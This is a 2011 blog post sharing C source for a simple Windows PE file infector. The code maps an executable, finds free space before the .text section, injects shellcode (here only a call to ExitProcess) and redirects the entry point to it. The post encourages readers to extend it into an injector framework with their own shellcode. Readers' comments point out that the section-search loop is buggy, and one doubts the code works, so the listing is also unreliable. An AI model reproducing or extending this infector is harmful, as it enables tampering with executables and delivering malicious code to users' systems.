Monday, March 28, 2011

PE Infector

Hi Folks,
today I want to share the simplest way to infect a Windows Portable Executable file. There are many different ways to implement an infection (or injection) by adding code into the PE free space but the way I am going to describe is probably the simplest and (with respect to _antony) the most primitive one.

The following code shows up how to search into the PE Header finding out the pointer to "raw data" of the .text section:

GetTextSectionOffset(PIMAGE_SECTION_HEADER pSectionHeader , int NumberOfSections)

{

while(NumberOfSections > 0)

{

if( !strcmpi((char*)pSectionHeader->Name , ".text"))

{

return pSectionHeader->PointerToRawData;

}

}

/* we did not find .text section */

return 0;

}


Later the a simple formula to find out memory space is applied: PointerToRawData - sizeof(code). If in there free space is present then put shellcode and recalculate OEP.


The main function:

int main(int argc , char *argv[])

{

HANDLE hFile;

HANDLE hMap;

char *MappedFile = 0;

DWORD FileSize; /* file size */

DWORD delta;

DWORD SectionOffset; /* .text section offset*/

DWORD func_addr;

IMAGE_DOS_HEADER *pDosHeader;

IMAGE_NT_HEADERS *pNtHeader;

IMAGE_SECTION_HEADER *pSecHeader;


The shell code to be injected !


/* shell code*/

char code[] = "\x6A\x00" /*push 0 */

"\xB8\x00\x00\x00\x00" /*mov eax , func_addr (address will be inserted automaticly)*/

"\xFF\xD0"; /*call eax */


Controls :


if(argc < 2)

{

printf("parameters : ssv.exe [filename] \n");

printf("simple pe infector by _antony \n");

return 0;

}

printf("target: [%s] \n" , argv[1]);


Opening the passed file:


hFile = CreateFile(argv[1] ,

GENERIC_WRITE | GENERIC_READ ,

0 ,

0 ,

OPEN_EXISTING ,

FILE_ATTRIBUTE_NORMAL ,

0);

if(hFile == INVALID_HANDLE_VALUE)

{

printf("[Error]: Can't open File! Error code : %d" , GetLastError());

return -1;

}



Getting file size:


FileSize = GetFileSize(hFile , 0 );

printf("[File Size ]: %d \n", FileSize);

/* mapping file */

hMap = CreateFileMapping(hFile ,

0 ,

PAGE_READWRITE ,

0 ,

FileSize ,

0);

if(hMap == INVALID_HANDLE_VALUE)

{

printf("[Error]: Can't map file! Error code: %d\n" , GetLastError());

CloseHandle(hFile);

return -1;

}

MappedFile = (char*)MapViewOfFile(hMap , FILE_MAP_READ | FILE_MAP_WRITE , 0 , 0 , FileSize);

if(MappedFile == NULL)

{

printf("[Error]: Can't map file! Error code %d\n", GetLastError());

CloseHandle(hFile);

CloseHandle(hMap);

UnmapViewOfFile(MappedFile);

return -1;

}


Mapping Headers:


pDosHeader = (IMAGE_DOS_HEADER*)MappedFile;

pNtHeader = (IMAGE_NT_HEADERS*)((DWORD)MappedFile + pDosHeader->e_lfanew);

pSecHeader = IMAGE_FIRST_SECTION(pNtHeader);


Here it is: getting .text section PointerToRawData


SectionOffset = GetTextSectionOffset(pSecHeader , pNtHeader->FileHeader.NumberOfSections);

if(SectionOffset == 0)

{

printf("[Error]: Can't find .text section!\n");

CloseHandle(hFile);

CloseHandle(hMap);

UnmapViewOfFile(MappedFile);

return -1;

}

delta = SectionOffset - sizeof(code);

int i;

BYTE check;

printf("scanning...\n");


looking for free space (0x/00), if enough free space is found then copy shellcode.



for(i=0 ; i<sizeof(code) ; i++)

{

check = *((BYTE*)MappedFile + delta + i);

printf("%X \t", check);

if(check != 0)

{

printf("There is some data...\n");

CloseHandle(hFile);

CloseHandle(hMap);

UnmapViewOfFile(MappedFile);

return -1;

}

}

printf("Space if free , infecting File...\n");


Inserting function addresses dynamically into the shellcode.


func_addr = (DWORD)GetProcAddress( LoadLibrary("kernel32.dll") , "ExitProcess");

for(i=0 ; i < sizeof(code) ; i++ )

{

if( *(DWORD*)&code[i] == 0x00000B8)

{

*(DWORD*)(code+i+1)= func_addr;

}

}


Setting up new OEP.


printf("Old Entry Point : %08X \n" , pNtHeader->OptionalHeader.AddressOfEntryPoint);

memcpy(MappedFile+delta , code , sizeof(code));


since delta is PointerToRawData - sizeof(code), it could be added as new OEP.



pNtHeader->OptionalHeader.AddressOfEntryPoint = delta;

printf("File infected!\n");

printf("New Entry Point: %08X \n" , delta);


CloseHandle(hFile);

CloseHandle(hMap);

UnmapViewOfFile(MappedFile);

return 0;

}


Again another great listing (thanks _antony for sharing it) to start with PE infections. From this piece of code you might be able to build your own little injector framework, enabling multiple shellcode, refining the the OEP generation (and respectively the free space function), adding variable execution parameters, and whatever you might imagine. Enjoy this great example !

6 comments:

Anonymous said...

Those borders on the side of your blog made me think there's a strand of hair on my monitor. I spent 5 minutes cleaning it :(

Marco Ramilli said...

HaHaHa :D :D :D !!!
I deduce it's time to change blog theme .... :D

Anonymous said...

Hey Marco! Thanks for the text! I wonder, have you ever been member of 29a with the name vallez? :)

Anonymous said...

Hey, i think there is an error:

I think it should be called:

while(NumberOfSections-- > 0) {
if( !strcmpi((char*)pSectionHeader->Name, ".text")) {
return pSectionHeader->PointerToRawData;
}
pSectionHeader++;
}

generalpervaizmusharraf said...

Well, I do not really imagine this is likely to work.

hermes belt said...

Good job. thanks.